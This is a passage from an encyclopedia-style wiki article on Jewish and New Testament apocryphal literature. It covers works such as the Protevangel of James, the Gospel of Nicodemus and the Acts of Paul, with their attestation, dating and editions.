These two men are referred to in 2 Tim. iii. 8 as the Egyptian magicians who withstood Moses. The book which treats of them is mentioned by Origen (''ad Matt.'' xxiii. 37 and xxvii. 9 [''Jannes et Mambres Liber'']), and in the Gelasian Decree as the ''Paenitentia Jamnis et Mambre''. The names in Greek are generally Ιαννησ και Ιαμβρης (=יניס וימבריס) as in the Targ.-Jon. on Exod. i. 15; vii. ii. In the Talmud they appear as יוחני וממרא. Since the western text of 2 Tim. iii. 8 has Μαμβρης, Westcott and Hort infer that this form was derived from a Palestinian source. These names were known not only to Jewish but also to heathen writers, such as Pliny and Apuleius. The book, therefore, may go back to pre-Christian times. (See Schürer iii. 292-294; ''Ency. Biblica'', ii. 2327-2329.)

==== Joseph and Asenath ====
The statement in Gen. xli. 45, 50 that Joseph married the daughter of a heathen priest naturally gave offence to later Judaism, and gave rise to the belief that Asenath was really the daughter of Shechem and Dinah, and only the foster-daughter of Potipherah (''Targ.-Jon.'' on Gen. xli. 45; Tractat. ''Sopherim'', xxi. 9; ''Jalkut Shimoni'', c. 134. See Oppenheim, ''Fabula Josephi et Asenethae'', 1886, pp. 2-4). Origen also was acquainted with some form of the legend (''Selecta in Genesin'', ad Gen. xli. 45, ed. Lommatzsch, viii. 89-90). The Christian legend, which is no doubt in the main based on the Jewish, is found in Greek, Syriac, Armenian, Slavonic and Medieval Latin. Since it is not earlier than the 3rd or 4th century, it will be sufficient here to refer to Smith's ''Dict. of Christ. Biog.'' i. 176-177; Hastings' ''Bible Dict.'' i. 162-163; Schürer, iii. 289-291.

=== Didactic or Sapiential ===
==== Pirke Aboth ====
The ''Pirke Aboth'', a collection of sayings of the Jewish Fathers, are preserved in the 9th Tractate of the Fourth Order of the Mishnah. They are attributed to some sixty Jewish teachers, belonging for the most part to the years A.D. 70-170, though a few of them are of a much earlier date. The book holds the same place in rabbinical literature as the Book of Proverbs in the Bible. The sayings are often admirable. Thus in iv. 1-4, &quot;Who is wise? He that learns from every man.... Who is mighty? He that subdues his nature.... Who is rich? He that is contented with his lot....  Who is honoured? He that honours mankind.&quot; (See further [[Pirke Aboth]].)

== New Testament apocryphal literature == 

[[New Testament apocrypha]] &amp;mdash; books similar to those in the [[New Testament]] but rejected by Catholics, Orthodox and Protestants &amp;mdash; include several gospels and lives of apostles. Some of them were clearly produced by [[Gnosticism|Gnostic]] authors or members of other groups later defined as [[heresy|heterodox]]. Many were discovered in the [[19th century|19th]] and [[20th century|20th centuries]], and produced lively speculation about the state of affairs in early [[Christianity]].

Though Protestants, Catholics and, in general, Orthodox agree on the canon of the [[New Testament]], the [[Ethiopian Orthodox]] are reported by some scholars to add [[Epistles of Clement|I &amp; II Clement]], and [[Shepherd of Hermas]] to the [[New Testament]]. Others deny this. See [http://www.islamic-awareness.org/Bible/Text/Canon/ethiopican.html this link] for details.

[[Martin Luther (religious leader)|Martin Luther]] considered the [[Epistle of James]] apocryphal, because he highly doubted its authorship by any of the several New Testament figures named James, and because it contains a statement that seemed to contradict his teachings of [[Salvation#Christian views of salvation|Salvation]] by faith alone: &quot;Faith without works is dead&quot; (2:26). He had a similar feeling about the [[Epistle to the Hebrews]], the [[Epistle of Jude]] and the [[Book of Revelation|Revelation]], and relegated those four books to an appendix in his Bible. Later [[Lutherans]] included these books as full parts in their New Testament, but kept them behind all the other books. The Lutheran New Testament (at least in [[German language|German]]) is thus arranged slightly differently from that of most other Churches.

The New Testament apocryphal book that is most famous today is the [[Gospel of Thomas]], the only complete text of which was found in [[Nag Hammadi]] along with other works, most of which were New Testament apocrypha. The entry on [[Gnosticism]] lists more recovered texts considered to be of Gnostic origin.

While the New Testament apocrypha are not seen as divinely inspired, artists and theologians have drawn on them for such matters as the names of [[Dismas]] and [[Gestas]] and details about the [[Three Wise Men]]. The first explicit expression on the [[perpetual virginity of Mary]] is found in the pseudepigraphical [[Infancy Gospel of James]].

An extensive online archive of New Testament Apocrypha is available at
[http://www.comparative-religion.com/christianity/apocrypha/ www.comparative-religion.com/christianity/apocrypha/] and comprises more than 80 works, including fragments.

Among the New Testament Apocrypha are the following:

* Gospels
** Uncanonical sayings of the Lord in Christian and Jewish writings.
** [[Gospel according to the Egyptians]].
** [[Gospel according to the Hebrews]].
** [[Protevangel of James]].
** [[Gospel of Nicodemus]].
** [[Gospel of Peter]].
** [[Gospel of Thomas]].
** [[Gospel of the Twelve]].
** Gnostic gospels of [[Saint Andrew|Andrew]], [[Apelles]], [[Barnabas]], [[Bartholomew]], [[Basilides]], [[Cerinthus]] and some seventeen others.
* Acts and Teachings of the Apostles
** [[Acts of Andrew]] and later forms of these Acts.
** [[Acts of John]].
** [[Acts of Paul]].
** [[Acts of Peter]].
** [[Preaching of Peter]].
** [[Acts of Thomas]].
** [[Teaching of the Twelve Apostles]].
** Apostolic constitutions.

* Epistles
** [[The Abgar Epistles]].
** [[Epistle of Barnabas]].
** [[Epistle of Clement]].
** &quot;Clement's&quot; [[2nd Epistle of the Corinthians]].
** &quot;Clement's&quot; [[Epistles on Virginity]].
** &quot;Clement's&quot; [[Epistles to James]].
** [[Epistles of Ignatius]].
** [[Epistle of Polycarp]].
** Pauline Epp. to the Laodiceans and Alexandrians.
** 3 Pauline Ep. to the Corinthians.
* Apocalypses
** see under [[Apocalyptic literature]]

''See also: '' [[New Testament Apocrypha]], a listing of books rejected by most Christians.

=== Gospels ===
==== Uncanonical Sayings of the Lord in Christian and Jewish Sources ====
''Main Article: [[Agrapha]]''

Under the head of canonical sayings not found in the Gospels only one is found, i.e. that in Acts xx. 35.  The uncanonical sayings have been collected by Preuschen (''Reste der ausserkanonischen Evangelien'', 1901, pp. 44-47) and Hennecke (''NTliche Apok.'' 9-11). The same subject is dealt with in the elaborate volumes of Resch (''Aussercanonische Paralleltexte zu den Evangelien'', vols. i.-iii., 1893-1895).

To this section belongs also the ''Fayum Gospel Fragment'' and the ''Logia'' published by Grenfell and Hunt. [These editors have discovered (1907) a gospel fragment of the 2nd century which represents a dialogue between our Lord and a chief priest--a Pharisee.] The former contains two sayings of Christ and one of Peter, such as we find in the canonical gospels, Matt. xxvi. 31-34, Mark xiv. 27-30. The papyrus, which is of the 3rd century, was discovered by [[Gustav Bickell]] among the Rainer collection, who characterized it (''Z. f. kath. Theol.'', 1885, pp. 498-504) as a fragment of one of the primitive gospels mentioned in Luke i. 1. On the other hand, it has been contended that it is merely a fragment of an early patristic homily. (See [[Zahn]], ''Gesch. Kanons'', ii. 780-790; [[Harnack]], ''Texte und Untersuchungen'', v. 4; [[Preuschen]], op. cit. p. 19.) The ''[[Logia]]'' is the name given to the sayings contained in a papyrus leaf, by its discoverers Grenfell and Hunt. They think the papyrus was probably written about A.D. 200. According to Harnack, it is an extract from the ''Gospel of the Egyptians''. All the passages referring to Jesus in the Talmud are given by [[Laible]], ''Jesus Christus im Talmud'', with an appendix, &quot;Die talmudischen Texte,&quot; by [[Gustaf Dalman]] (2nd ed. 1901). The first edition of this work was translated into English by [[A. W. Streane]] (''Jesus Christ in the Talmud'', 1893). In [[Hennecke]]'s ''NTliche Apok. Handbuch'' (pp.47-71) there is a valuable study of this question by [[A. Meyer]], entitled ''Jesus, Jesu Jünger und das Evangelium im Talmud und verwandten jüdischen Schriften'', to which also a good bibliography of the subject is prefixed.

==== Gospel according to the Egyptians ====
This gospel is first mentioned by [[Clem. Alex.]] (''Strom.'' iii. 6. 45; 9. 63, 66; 13. 92), subsequently by [[Origen]] (''Hom. in Luc.'' i.) and [[Epiphanius]] (''Haer.'' lxii. 2), and a fragment is preserved in the so-called 2 Clem. Rom. xii. 2. It circulated among various heretical circles; amongst the [[Encratites]] (Clem. ''Strom.'' iii. 9), the [[Nassenes]] (Hippolyt. ''Philos.'' v. 7), and the [[Sabellians]] (Epiph. ''Haer.'' lxii. 2). Only three or four fragments survive; see [[Lipsius]] (Smith and [[Wace]], ''Dict. of Christ. Biog.'' ii. 712, 713); Zahn, ''Gesch. Kanons'', ii. 628-642; Preuschen, ''Reste d. ausserkanonischen Evangelien'', 1901, p. 2, which show that it was a product of [[pantheistic]] [[Gnosticism]]. With this pantheistic Gnosticism is associated a severe asceticism. The distinctions of sex are one day to come to an end; the prohibition of marriage follows naturally on this view. Hence Christ is represented as coming to destroy the work of the female (Clem. Alex. ''Strom.'' iii. 9. 63). Lipsius and Zahn assign it to the middle of the 2nd century. It may be earlier.

==== Protevangel of James ====
This title was first given in the 16th century to a writing which is referred to as ''The Book of James'' (ἡ βιβλος Ιακοβωυ) by Origen (tom. xi. ''in Matt.''). Its author designates it as Ἱστορια. For various other designations see [[Tischendorf]], ''Evang. Apocr.'' 1 seq. The narrative extends from the Conception of the Virgin to the Death of Zacharias. Lipsius shows that in the present form of the book there is side by side a strange &quot;admixture of intimate knowledge and gross ignorance of Jewish thought and custom,&quot; and that accordingly we must &quot;distinguish between an original Jewish Christian writing and a Gnostic recast of it.&quot; The former was known to Justin (''Dial.'' 78, 101) and Clem. Alex. (''Strom.'' vii. 16), and belongs at latest to the earliest years of the 2nd century. The Gnostic recast Lipsius dates about the middle of the 3rd century. From these two works arose independently the ''Protevangel'' in its present form and the Latin pseudo-Matthaeus (''Evangelium pseudo-Matthaei'').  The ''Evangelium de Nativitate Mariae'' is a redaction of the latter. (See Lipsius in Smith's ''Dict. of Christ. Biog.'' ii. 701-703.) But if we except the Zachariah and John group of legends, it is not necessary to assume the Gnostic recast of this work in the 3rd century as is done by Lipsius. The author had at his disposal two distinct groups of legends about Mary. One of these groups is certainly of non-Jewish origin, as it conceives Mary as living in the temple somewhat after the manner of a vestal virgin or a priestess of Isis. The other group is more in accord with the orthodox gospels. The book appears to have been written in Egypt, and in the early years of the 2nd century. For, since Origen states that many appealed to it in support of the view that the brothers of Jesus were sons of Joseph by a former marriage, the book must have been current about A.D. 200. From Origen we may ascend to Clem. Alex. who (''Strom.'' vi. 93) shows acquaintance with one of the chief doctrines of the book--the perpetual virginity of Mary. Finally, as Justin's statements as to the birth of Jesus in a cave and Mary's descent from David show in all probability his acquaintance with the book, it may with good grounds be assigned to the first decade of the 2nd century. (So Zahn, ''Gesch. Kanons'', i. 485, 499, 502, 504, 539; ii. 774-780.) For the Greek text see Tischendorf, ''Evang. Apocr.'' 1-50; B. P. Grenfell, ''An Alexandrian erotic Fragment and other Papyri'', 1896, pp. 13-17: for the Syriac, Wright, ''Contributions to Apocryphal Literature of the N.T.'', 1865, pp. 3-7; A. S. Lewis, ''Studia Sinaitica'', xi. pp. 1-22. See literature generally in Hennecke, ''NTliche Apok. Handbuch'', 106 seq.

==== Gospel of Nicodemus ====
This title is first met with in the 13th century. It is used to designate an apocryphal writing entitled in the older MSS. ὑπονηματα του Κυριου ἡμων Ιησου Χριστου πραχθεντα επι Ποντιου Πιλατου: also &quot;Gesta Salvatoris Domini... inventa Theodosio magno imperatore in Ierusalem in praetorio Pontii Pilati in codicibus publicis.&quot; See Tischendorf, ''Evang. Apocr.'' pp. 333-335. This work gives an account of the Passion (i.-xi.), the Resurrection (xii.-xvi.), and the ''Descensus ad Inferos'' (xvii.-xxvii.). Chapters i.-xvi. are extant, in the Greek, Coptic, and two Armenian versions. The two Latin versions and a Byzantine recension of the Greek contain i.-xxvii. (see Tischendorf, ''Evangelia Apocrypha'', pp. 210-458). All known texts go back to A. D. 425, if one may trust the reference to Theodosius. But this was only a revision, for as early as 376 Epiphanius (''Haer.'' i. 1.) presupposes the existence of a like text. In 325 Eusebius (''H.E.'' ii. 2) was acquainted only with the heathen ''Acts of Pilate'', and knew nothing of a Christian work. Tischendorf and Hofmann, however, find evidence of its existence in Justin's reference to the Ἁκτα Πιλατου (''Apol.'' i. 35, 48), and in Tertullian's mention of the ''Acta Pilati'' (''Apol.'' 21), and on this evidence attribute our texts to the first half of the 2nd century. But these references have been denied by Scholten, Lipsius, and Lightfoot. Recently Schubert has sought to derive the elements which are found in the Petrine Gospel, but not in the canonical gospels, from the original ''Acta Pilati'', while Zahn exactly reverses the relation of these two works. Rendel Harris (1899) advocated the view that the Gospel of Nicodemus, as we possess it, is merely a prose version of the Gospel of Nicodemus written originally in Homeric centones as early as the 2nd century. Lipsius and Dobschütz relegate the book to the 4th century. The question is not settled yet (see Lipsius in Smith's ''Dict. of Christ. Biography'', ii. 708-709, and Dobschütz in Hastings' ''Bible Dictionary'', iii. 544-547).

==== Gospel according to the Hebrews ====
This gospel was cited by Ignatius (''Ad Smyrnaeos'', iii.) according to Jerome (''Viris illus.'' 16, and ''in Jes.'' lib. xviii.), but this is declared to be untrustworthy by Zahn, op. cit. i. 921; ii. 701, 702. It was written in Aramaic in Hebrew letters, according to Jerome (''Adv. Pelag.'' iii. 2), and translated by him into Greek and Latin. Both these translations are lost. A collection of the Greek and Latin fragments that have survived, mainly in Origen and Jerome, will be found in Hilgenfeld's ''NT extra Canonem receptum'', Nicholson's ''Gospel according to the Hebrews'' (1879), Westcott's ''Introd. to the Gospels'', and Zahn's ''Gesch. des NTlichen Kanons'', ii. 642-723; Preuschen, op. cit. 3-8. This gospel was regarded by many in the first centuries as the Hebrew original of the canonical Matthew (Jerome, ''in Matt.'' xii. 13; ''Adv. Pelag.'' iii. 1). With the canonical gospel it agrees in some of its sayings; in others it is independent. It circulated among the Nazarenes in Syria, and was composed, according to Zahn (op. cit. ii. 722), between the years 135 and 150. Jerome identifies it with the ''Gospel of the Twelve'' (''Adv. Pelag.'' iii. 2), and states that it was used by the Ebionites (''Comm. in Matt.'' xii. 13). Zahn (op. cit. ii. 662, 724) contests both these statements. The former he traces to a mistaken interpretation of Origen (''Hom. I. in Luc.''). Lipsius, on the other hand, accepts the statements of Jerome (Smith and Wace, ''Dict. of Christian Biography'', ii. 709-712), and is of opinion that this gospel, in the form in which it was known to Epiphanius, Jerome and Origen, was &quot;a recast of an older original,&quot; which, written originally in Aramaic, was nearly related to the Logia used by St Matthew and the Ebionitic writing used by St Luke, &quot;which itself was only a later redaction of the Logia.&quot; 

According to the most recent investigations we may conclude that the Gospel according to the Hebrews was current among the Nazarenes and Ebionites as early as 100-125, since Ignatius was familiar with the phrase &quot;I am no bodiless demon&quot;--a phrase which, according to Jerome (''Comm. in Is.'' xviii.), belonged to this Gospel. 

The name &quot;Gospel according to the Hebrews&quot; cannot have been original; for if it had been so named because of its general use among the Hebrews, yet the Hebrews themselves would not have used this designation. It may have been known simply as &quot;the Gospel.&quot; The language was Western Aramaic, the mother tongue of Jesus and his apostles. Two forms of Western Aramaic survive: the Jerusalem form of the dialect, in the Aramaic portions of Daniel and Ezra; and the Galilean, in isolated expressions in the Talmud (3rd century), and in a fragmentary 5th century translation of the Bible. The quotations from the Old Testament are made from the Massoretic text. 

This gospel must have been translated at an early date into Greek, as Clement and Origen cite it as generally accessible, and Eusebius recounts that many reckoned it among the received books. The gospel is synoptic in character and is closely related to Matthew, though in the Resurrection accounts it has affinities with Luke. Like Mark it seems to have had no history of the birth of Christ, and to have begun with the baptism. (For the literature see Hennecke, ''NTliche Apok. Handbuch'', 21-23.) 

==== [[Gospel of Peter]] ====
Before 1892 we had some knowledge of this gospel. Thus Serapion, bishop of Antioch (A.D. 190-203) found it in use in the church of Rhossus in Cilicia, and condemned it as Docetic (Eusebius, ''H.E.'' vi. 12). Again, Origen (''In Matt.'' tom. xvii. 10) says that it represented the brethren of Christ as his half-brothers. In 1885 a long fragment was discovered at Akhmim, and published by Bouriant in 1892, and subsequently by Lods, Robinson, Harnack, Zahn, Schubert, Swete.

==== Gospel of Thomas ====
This gospel professes to give an account of Christ's boyhood. It appears in two recensions. The more complete recension bears the title Θωμα Ισραηλιτου Φιλοσοφου ῥητα εις τα παιδικα Κυριυ, and treats of the period from the 7th to the 12th year (Tischendorf, ''Evangelia Apocrypha'', 1876, 140-157). The more fragmentary recension gives the history of the childhood from the 5th to the 8th year, and is entitled Συγγραμμα του ἁγιου αποστολου Θωμα περι της παιδικης αναστροφης του Κυριου (Tischendorf, op. cit. pp. 158-163). Two Latin translations have been published in this work by the same scholar--one on pp. 164-180, the other under the wrong title, ''Pseudo-Matthaei Evangelium'', on pp. 93-112. A Syriac version, with an English translation, was published by Wright in 1875. This gospel was originally still more Docetic than it now is, according to Lipsius. Its present form is due to an orthodox revision which discarded, so far as possible, all Gnostic traces. Lipsius (Smith's ''Dict. of Christ. Biog.'' ii. 703) assigns it to the latter half of the 2nd century, but Zahn (''Gesch. Kan.'' ii. 771), on good grounds, to the earlier half. The latter scholar shows that probably it was used by Justin (''Dial.'' 88). At all events it circulated among the Marcosians (Irenaeus, ''Haer.'' i. 20) and the Naasenes (Hippolytus, ''Refut.'' v. 7), and subsequently among the Manichaeans, and is frequently quoted from Origen downwards (''Hom. I. in Luc.''). If the stichometry of Nicephorus is right, the existing form of the book is merely fragmentary compared with its original compass. For literature see Hennecke, ''NTliche Apokryphen Handbuch'', 132 seq.

==== Gospel of the Twelve ====
This gospel, which Origen knew (''Hom. I. in Luc.''), is not to be identified with the ''Gospel according to the Hebrews'' (see above), with Lipsius and others, who have sought to reconstruct the original gospel from the surviving fragments of these two distinct works. The only surviving fragments of the ''Gospel of the Twelve'' have been preserved by Epiphanius (''Haer.'' xxx. 13-16, 22: see Preuschen, op. cit. 9-11). It began with an account of the baptism. It was used by the Ebionites, and was written, according to Zahn (op. cit. ii. 742), about A.D. 170. 

==== Other gospels mainly Gnostic and almost all lost ====
===== Gospel of Andrew =====
This is condemned in the Gelasian Decree, and is probably the gospel mentioned by Innocent (1 Ep. iii. 7) and Augustine (''Contra advers. Leg. et Proph.'' i. 20). 

===== Gospel of Apelles =====
Mentioned by Jerome in his ''Prooem. ad Matt.''

===== Gospel of Barnabas =====
Condemned in the Gelasian Decree (see under [[Barnabas]] ''ad fin''.). 

===== Gospel of Bartholomew =====
Mentioned by Jerome in his ''Prooem. ad Matt.'' and condemned in the Gelasian Decree. 

===== Gospel of Basilides =====
Mentioned by Origen (''Tract. 26 in Matt.'' xxxiii. 34, and in his ''Prooem. in Luc.''); by Jerome in his ''Prooem. in Matt.'' (See Harnack i. 161; ii. 536-537; Zahn, ''Gesch. Kanons'', i. 763-774.) 

===== Gospel of Cerinthus =====
Mentioned by Epiphanius (''Haer.'' li. 7). 

===== Gospel of the Ebionites =====
A fragmentary edition of the canonical Matthew according to Epiphanius (''Haer.'' xxx. 13), used by the Ebionites and called by them the Hebrew Gospel. 

===== Gospel of Eve =====
A quotation from this gospel is given by Epiphanius (''Haer.'' xxvi. 2, 3). It is possible that this is the Gospel of Perfection which he touches upon in xxvi. 2. The quotation shows that this gospel was the expression of complete pantheism.

===== Gospel of James the Less =====
Condemned in the Gelasian Decree. 

===== Wisdom of Jesus Christ =====
This third work contained in the Coptic MS. referred to under ''Gospel of Mary'' gives cosmological disclosures and is presumably of Valentinian origin.

===== Apocryph of John =====
This book, which is found in the Coptic MS. referred to under ''Gospel of Mary'' and contains cosmological disclosures of Christ, is said to have formed the source of Irenaeus' account of the Gnostics of Barbelus (i. 29-31). Thus this work would have been written before 170.

===== Gospel of Judas Iscariot =====
References to this gospel as in use among the Cainites are made by Irenaeus (i. 31. 1); Epiphanius (xxxviii. 1. 3). 

===== Gospel, The Living (Evangelium Vivum) =====
This was a gospel of the Manichaeans. See Epiphanius, ''Haer''. lxvi. 2; Photius, ''Contra Manich''. i. 

===== Gospel of Marcion =====
On this important gospel see Zahn, ''Gesch. Kanons'', i. 585-718. 

===== Descent of Mary (Τεννα Μαριας) =====
This book was an anti-Jewish legend representing Zacharias as having been put to death by the Jews because he had seen the God of the Jews in the form of an ass in the temple (Epiphanius, ''Haer''. xxvi. 12). 

===== Questions of Mary (Great and Little) =====
Epiphanius (''Haer''. xxvi. 8) gives some excerpts from this work.

===== Gospel of Mary =====
This gospel is found in a Coptic MS. of the 5th century. According to Schmidt's short account, ''Sitzungsberichte d. preuss. Akad. d. Wiss. zu. Berlin'' (1896), pp. 839 sqq., this gospel gives disclosures on the nature of matter (ὑλη) and the progress of the Gnostic soul through the seven planets. 

===== Gospel of Matthias =====
Though this gospel is attested by Origen (''Horm. in Luc.'' i.), Eusebius, ''H.E.'' iii. 25. 6, and the List of Sixty Books, not a shred of it has been preserved, unless with Zahn ii. 751 sqq. we are to identify it with the ''Traditions of Matthias'', from which Clement has drawn some quotations. 

===== Gospel of Perfection (Evangelium perfectionis) =====
Used by the followers of Basilides and other Gnostics. See Epiphanius, ''Haer.'' xxvi. 2. 

===== Gospel of Philip =====
This gospel described the progress of a soul through the next world. It is of a strongly Encratite character and dates from the 2nd century. A fragment is preserved in Epiphanius, ''Haer''. xxvi. 13. In Preuschen, ''Reste'', p. 13, the quotation breaks off too soon. See Zahn ii. 761-768. 

===== Gospel of Thaddaeus =====
Condemned by the Gelasian Decree. 

===== Gospel of Thomas =====
Of this gospel only one fragment has been preserved in Hippolytus, ''Philos''. v. 7, pp. 140 seq. See Zahn, ''op. cit.'' i. 746 seq.; ii. 768-773; Harnack ii. 593-595.

===== Gospel of Truth =====
This gospel is mentioned by Irenaeus i. 11. 9, and was used by the Valentinians. See Zahn i. 748 sqq.

=== Acts and Teachings of the Apostles ===
==== Acts of Andrew ====
These Acts, which are of a strongly Encratite character, have come down to us in a fragmentary condition. They belong to the earliest ages, for they are mentioned by Eusebius, ''H.E.'' iii. 25; Epiphanius, ''Haer.'' xlvii. 1; lxi. 1; lxiii. 2; [[Philastrius]], ''Haer.'' lxviii., as current among the Manichaeans and heretics. They are attributed to [[Leucius]], a Docetic writer, by Augustine (''c. Felic. Manich.'' ii. 6) and [[Euodius]] (''De Fide c. Manich.'' 38). Euodius in the passage just referred to preserves two small fragments of the original Acts. On internal grounds the section recounting Andrew's imprisonment (Bonnet, ''Acta Apostolorum Apocrypha'', ii. 38-45) is also probably a constituent of the original work. As regards the martyrdom, owing to the confusion introduced by the multitudinous Catholic revisions of this section of the Acts, it is practically impossible to restore its original form. For a complete discussion of the various documents see Lipsius, ''Apokryphen Apostelgeschichte'', i. 543-622; also James in Hastings' ''Bible Dict.'' i. 92-93; Hennecke, ''NT. Apokryphen'', ''in loc.'' The best texts are given in Bonnet's ''Acta Apostolorum Apocrypha'', 1898, II. i. 1-127. These contain also the ''Acts of Andrew and Matthew'' (or Matthias) in which Matthew (or Matthias) is represented as a captive in the country of the anthropophagi. Christ takes Andrew and his disciples with Him, and effects the rescue of Matthew. The legend is found also in Ethiopic, Syriac and Anglo-Saxon. Also the ''Acts of Peter and Andrew'', which among other incidents recount the miracle of a camel passing through the eye of a needle. This work is preserved partly in Greek, but in its entirety in Slavonic. 

==== Acts of John ====
Clement of Alexandria in his ''Hypotyposes'' on 1 John i. 1 seems to refer to chapters xciii. (or lxxxix.) of these Acts. Eusebius (''H.E.'' iii. 25. 6), Epiphanius (''Haer.'' xlvii. 1) and other ancient writers assign them to the authorship of Leucius Charinus. It is generally admitted that they were written in the 2nd century. The text has been edited most completely by Bonnet, ''Acta Apostol. Apocr.'', 1898, 151-216. The contents might be summarized with Hennecke as follows:--Arrival and first sojourn of the apostle in Ephesus (xviii.-lv.); return to Ephesus and second sojourn (history of Drusiana, lviii.-lxxxvi.); account of the crucifixion of Jesus and His apparent death (lxxxvii.-cv.); the death of John (cvi.-cxv.). There are manifest gaps in the narrative, a fact which we would infer from the extent assigned to it (i.e. 2500 stichoi) by Nicephorus. According to this authority one-third of the text is now lost. Many chapters are lost at the beginning; there is a gap in chapter xxxvii., also before lviii., not to mention others. The encratite tendency in these Acts is not so strongly developed as in those of Andrew and Thomas. James (''Anecdota'', ii. 1-25) has given strong grounds for regarding the Acts of John and Peter as derived from one and the same author, but there are like affinities existing between the Acts of Peter and those of Paul. For a discussion of this work see Zahn, ''Gesch. Kanons'', ii. 856-865; Lipsius, ''Apok. Apostelgesch.'' i. 348-542; Hennecke, ''NT. Apokryphen'', 423-432. For bibliography, Hennecke, ''NT. Apok. Handbuch'', 492 sq. 

==== Acts of Paul ====
The discovery of the Coptic translation of these Acts in 1897, and its publication by C. Schmidt (''Acta Pauli aus der Heidelberger koptischen Papyrushandschrift herausgegeben'', Leipzig, 1894), have confirmed what had been previously only a hypothesis that the Acts of Thecla had formed a part of the larger Acts of Paul. The Acts therefore embrace now the following elements:-
* Two quotations given by Origen in his ''Princip.'' i. 2. 3 and his comment on John xx. 12. From the latter it follows that in the Acts of Paul the death of Peter was recounted,
* ''Apocryphal 3rd Epistle of Paul to the Corinthians'' and ''Epistle from the Corinthians to Paul''. These two letters are connected by a short account which is intended to give the historical situation. Paul is in prison on account of Stratonice, the wife of Apollophanes. The Greek and Latin versions of these letters have for the most part disappeared, but they have been preserved in Syriac, and through Syriac they obtained for the time being a place in the Armenian Bible immediately after 2 Corinthians. Aphraates cites two passages from 3 Corinthians as words of the apostle, and Ephraem expounded them in his commentary on the Pauline Epistles. They must therefore have been regarded as canonical in the first half of the 4th century.  From the Syriac Bible they made their way into the Armenian and maintained their place without opposition to the 7th century.  On the Latin text see Carrière and Berger, ''Correspondance apocr. de S. P. et des Corinthiens'', 1891. For a translation of Ephraem's commentary see Zahn ii. 592-611 and Vetter, ''Der Apocr. 3. Korinthien'', 70 sqq., 1894. The Coptic version (C. Schmidt, ''Acta Pauli'', pp. 74-82), which is here imperfect, is clearly from a Greek original, while the Latin and Armenian are from the Syriac.
* ''The Acts of Paul and Thecla''. These were written, according to Tertullian (''De Baptismo'', 17) by a presbyter of Asia, who was deposed from his office on account of his forgery. This, the earliest of Christian romances (probably before A.D. 150), recounts the adventures and sufferings of a virgin, Thecla of Iconium. Lipsius discovers Gnostic traits in the story, but these are denied by Zahn (''Gesch. Kanons'', ii. 902). See Lipsius, ''op. cit.'' ii. 424-467; Zahn (''op. cit.'' ii. 892-910). The best text is that of Lipsius, ''Acta Apostol. Apocr.'', 1891, i. 235-272.  There are Syriac, Arabic, Ethiopic and Slavonic versions. As we have seen above, these Acts are now recognized as belonging originally to the Acts of Paul. They were, however, published separately long before the Gelasian Decree (496). Jerome also was acquainted with them as an independent work. Thecla was most probably a real personage, around whom a legend had already gathered in the 2nd century. Of this legend the author of the Acts of Paul made use, and introduced into it certain historical and geographical facts,
* The healing of Hermocrates of dropsy in Myra. Through a comparison of the Coptic version with the Pseudo-Cyprian writing &quot;Caena,&quot; Rolffs (Hennecke, ''NT. Apok.'' 361) concludes that this incident formed originally a constituent of our book,
* The strife with beasts at Ephesus. This event is mentioned by Nicephorus Callistus (''H.E.'' ii. 25) as recounted in the περιοδοι of Paul. The identity of this work with the Acts of Paul is confirmed by a remark of Hippolytus in his commentary on Daniel iii. 29. 4, ed. Bonwetsch 176 (so Rolffs).
* Martyrdom of Paul. The death of Paul by the sentence of Nero at Rome forms the close of the Acts of Paul. The text is in the utmost confusion. It is best given by Lipsius, ''Acta Apostol. Apocr.'' i. 104-117. 

Notwithstanding all the care that has been taken in collecting the fragments of these Acts, only about 900 stichoi out of the 3600 assigned to them in the Stichometry of Nicephorus have as yet been recovered. 

The author was, according to Tertullian (''De Baptism.'' 17), a presbyter in Asia, who out of honour to Paul wrote the Acts, forging at the same time 3 Corinthians. Thus the work was composed before 190, and, since it most probably uses the martyrdom of Polycarp, after 155. The object of the writer is to embody in St Paul the model ideal of the popular Christianity of the 2nd century. His main emphasis is laid on chastity and the resurrection of the flesh. The tone of the work is Catholic and anti-Gnostic. For the bibliography of the subject see Hennecke, ''NT. Apok.'' 358-360. 

==== Acts of Peter ====
These acts are first mentioned by Eusebius (''H.E.'' iii. 3) by name, and first referred to by the African poet Commodian about A.D. 250. Harnack, who was the first to show that these Acts were Catholic in character and not Gnostic as had previously been alleged, assigns their composition to this period mainly on the ground that Hippolytus was not acquainted with them; but even were this assumption true, it would not prove the non-existence of the Acts in question. According to Photius, moreover, the Acts of Peter also were composed by this same Leucius Charinus, who, according to Zahn (''Gesch. Kanons'', ii. 864), wrote about 160 (''op. cit.'' p. 848). Schmidt and Ficker, however, maintain that the Acts were written about 200 and in Asia Minor. These Acts, which Ficker holds were written as a continuation and completion of the canonical Acts of the Apostles, deal with Peter's victorious conflict with Simon Magus, and his subsequent martyrdom at Rome under Nero. It is difficult to determine the relation of the so-called Latin ''Actus Vercellenses'' (which there are good grounds for assuming were originally called the Πραξεις Πετρου) with the Acts of John and Paul. Schmidt thinks that the author of the former made use of the latter, James that the Acts of Peter and of John were by one and the same author, but Ficker is of opinion that their affinities can be explained by their derivation from the same ecclesiastical atmosphere and school of theological thought. No less close affinities exist between our Acts and the Acts of Thomas, Andrew and Philip. In the case of the Acts of Thomas the problem is complicated, sometimes the Acts of Peter seem dependent on the Acts of Thomas, and sometimes the converse. 

For the relation of the ''Actus Vercellenses'' to the &quot;Martyrdom of the holy apostles Peter and Paul&quot; (''Acta Apostol. Apocr.'' i. 118-177) and to the &quot;Acts of the holy apostles Peter and Paul&quot; (''Acta Apostol. Apocr.'' i. 178-234) see Lipsius ii. 1. 84 sqq. The &quot;Acts of Xanthippe and Polyxena,&quot; first edited by James (''Texts and Studies'', ii. 3. 1893), and assigned by him to the middle of the 3rd century, as well as the &quot;Acts of the Disputation of Archelaus, bishop of Mesopotamia, and the Heresiarch Manes&quot; (&quot;Acta Disputationis Archelai Episcopi Mesopotamiae et Manetis Haeresiarchae,&quot; in Routh's ''Reliquiae Sacrae'', v. 36-206), have borrowed largely from our work. 

